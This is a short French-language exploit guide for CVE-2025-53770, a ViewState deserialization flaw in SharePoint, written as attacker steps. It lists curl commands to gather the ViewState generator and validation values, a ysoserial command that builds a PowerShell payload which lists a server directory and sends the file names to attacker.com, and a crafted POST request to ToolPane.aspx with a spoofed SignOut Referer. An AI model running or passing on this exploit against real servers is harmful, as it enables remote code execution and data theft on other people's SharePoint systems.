
Exploit pour CVE-2025-53770 ciblant la désérialisation ViewState de SharePoint. Utilise ysoserial pour générer une charge utile qui liste les répertoires du serveur et exfiltre les noms de fichiers vers une URL contrôlée par l'attaquant.
Tout d'abord, récupérez les valeurs __VIEWSTATEGENERATOR, VALIDATION_KEY et VALIDATION_ALG de la page SharePoint cible :
curl -s https://target.com/_layouts/15/start.aspx | grep -oP '__VIEWSTATEGENERATOR" value="\K[^"]+'
curl https://target.com/_layouts/15/spinstall0.aspx
Ensuite, créez une charge utile PowerShell ViewState à l'aide de ysoserial.exe qui liste un répertoire sur le serveur et envoie les noms de fichiers vers une URL externe :
ysoserial.exe -p ViewState -g TypeConfuseDelegate \
-c "powershell -nop -c \"dir 'C:\\Program Files\\Common Files\\Microsoft Shared\\Web Server Extensions\\15\\TEMPLATE\\LAYOUTS' | % { Invoke-WebRequest -Uri ('http://attacker.com/?f=' + [uri]::EscapeDataString($_.Name)) }\"" \
--generator="<VIEWSTATE_GENERATOR>" \
--validationkey="<VALIDATION_KEY>" \
--validationalg="<VALIDATION_ALG>" \
--islegacy \
--minify
Enfin, ajoutez le jeton généré à une requête POST comme celle-ci pour exécuter la commande sur le serveur :
POST /_layouts/15/ToolPane.aspx?DisplayMode=Edit&a=/ToolPane.aspx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Content-Length: 7699
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Referer: /_layouts/SignOut.aspx
Connection: close
MSOTlPn_Uri=http%3A%2F%2Fwww.itsc.org%2F_controltemplates%2F15%2FAclEditor.ascx&MSOTlPn_DWP=<GENERATED_PAYLOAD>